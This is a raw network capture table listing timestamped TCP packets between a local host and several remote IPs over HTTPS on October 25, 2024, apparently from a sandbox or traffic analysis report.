Oct 25, 2024 10:19:25.008641005 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.008873940 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.008905888 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.169800997 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.169853926 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.170500040 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.170629025 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.170641899 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.171046019 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.171101093 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.171195030 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.171459913 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.171483994 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.192178965 CEST	50032	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.192200899 CEST	443	50032	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.211484909 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.215509892 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.215523005 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.216015100 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.217668056 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.217763901 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.223704100 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.271348000 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.357351065 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.357425928 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.357599020 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.358299971 CEST	50036	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.358325958 CEST	443	50036	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.361948967 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:25.362005949 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.362072945 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:25.363368988 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:25.363384962 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.499773026 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.499809027 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.500044107 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.500771046 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:25.500782967 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:25.740555048 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.740952015 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.741027117 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.741575003 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.741902113 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.742033005 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.742058039 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.753609896 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.755783081 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.755842924 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.759443045 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.759526968 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.759546041 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.759601116 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.759864092 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.759985924 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.760035992 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.783366919 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.880352974 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.880392075 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.880420923 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.880455971 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.880486965 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.881539106 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.881686926 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.883285046 CEST	50042	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.883301973 CEST	443	50042	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.901293993 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.901395082 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.901416063 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.901443958 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.901499987 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.901513100 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.901559114 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.902792931 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.902920008 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.903390884 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.904349089 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.907680988 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.907694101 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.908082962 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.908090115 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.908121109 CEST	443	50043	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:25.908144951 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.908170938 CEST	50043	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:25.909343004 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.909410954 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.909584999 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.934813976 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.935030937 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.935049057 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.936217070 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.936554909 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.936708927 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.936737061 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.951411009 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:25.971337080 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.971792936 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:25.971815109 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.972189903 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.974577904 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:25.976634026 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:25.976716995 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:25.977085114 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:26.023338079 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:26.083816051 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.113390923 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:26.113568068 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:26.113626003 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:26.114593983 CEST	50049	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:26.114615917 CEST	443	50049	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:26.135018110 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.135273933 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.135298014 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.136473894 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.136926889 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.137090921 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.137100935 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.137171984 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.137223959 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.137372971 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.137418985 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.145751953 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145808935 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145829916 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145869970 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145889044 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145896912 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.145896912 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.145908117 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145916939 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.145936012 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.145963907 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.145963907 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.145977020 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.168519974 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.168570042 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.168678999 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.168678999 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.168695927 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.169188023 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185216904 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185281992 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185302019 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185334921 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185342073 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185363054 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185375929 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185380936 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185400963 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185410023 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185410976 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.185442924 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.185482025 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.263072014 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.263134956 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.263154984 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.263170958 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.263219118 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.263219118 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.267280102 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.267292023 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.267360926 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.267378092 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.267448902 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.267757893 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.267757893 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.267779112 CEST	443	50045	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.267829895 CEST	50045	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.275609970 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:26.275635958 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:26.275708914 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:26.275962114 CEST	50052	443	192.168.2.6	13.107.246.45
Oct 25, 2024 10:19:26.275976896 CEST	443	50052	13.107.246.45	192.168.2.6
Oct 25, 2024 10:19:26.284473896 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.284523010 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.284571886 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.284595966 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.284612894 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.284643888 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.286269903 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.286315918 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.286351919 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.286370039 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.286432981 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.286432981 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.288024902 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.288065910 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.288122892 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.288139105 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.288150072 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.288280964 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.380760908 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.380821943 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.380872011 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.380872011 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.380887032 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.381088972 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.401642084 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.401704073 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.401786089 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.401786089 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.401797056 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.401869059 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.403752089 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.403795958 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.403815031 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.403830051 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.403896093 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.403896093 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.404736996 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.404778957 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.405261040 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.405261040 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.405267954 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.405349016 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.406662941 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.406702995 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.406734943 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.406749010 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.406795025 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.406795025 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.408433914 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.408479929 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.408544064 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.408544064 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.408550978 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.408813000 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.410311937 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.410352945 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.410904884 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.410904884 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.410912037 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.411130905 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.455147028 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.455208063 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.455248117 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.455281019 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.455286980 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.455311060 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.455343008 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.456034899 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.456085920 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.456130981 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.456130028 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.456145048 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.456182003 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.456367970 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.456407070 CEST	50050	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:26.496891975 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.496916056 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.496970892 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.496985912 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.497087002 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.497395992 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.497410059 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.497560978 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.497575045 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.497620106 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.517615080 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.517683983 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.517767906 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.517780066 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.517908096 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.517908096 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.518340111 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.518385887 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.518435955 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.518440962 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.518471003 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.518656969 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.518776894 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.518826008 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.518837929 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.518855095 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.519140005 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.519140005 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.522973061 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523041010 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523099899 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523108959 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523139954 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523190022 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523241997 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523344994 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523344994 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523353100 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523503065 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523504972 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523534060 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523576975 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523576975 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523577929 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523602009 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.523654938 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.523654938 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524177074 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524219990 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524287939 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524287939 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524293900 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524344921 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524354935 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524398088 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524621964 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524621964 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.524627924 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.524785995 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.525269985 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.525319099 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.525362015 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.525367022 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.525382996 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.525446892 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.525930882 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.525974989 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.526098967 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.526098967 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.526107073 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.526154995 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.526205063 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.526355982 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.526355982 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.526355982 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.526362896 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.526766062 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.527060986 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.527101994 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.527179956 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.527179956 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.527190924 CEST	443	50044	13.107.246.60	192.168.2.6
Oct 25, 2024 10:19:26.527236938 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.530141115 CEST	50044	443	192.168.2.6	13.107.246.60
Oct 25, 2024 10:19:26.576564074 CEST	443	50050	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:26.576672077 CEST	443	50050	104.18.95.41	192.168.2.6
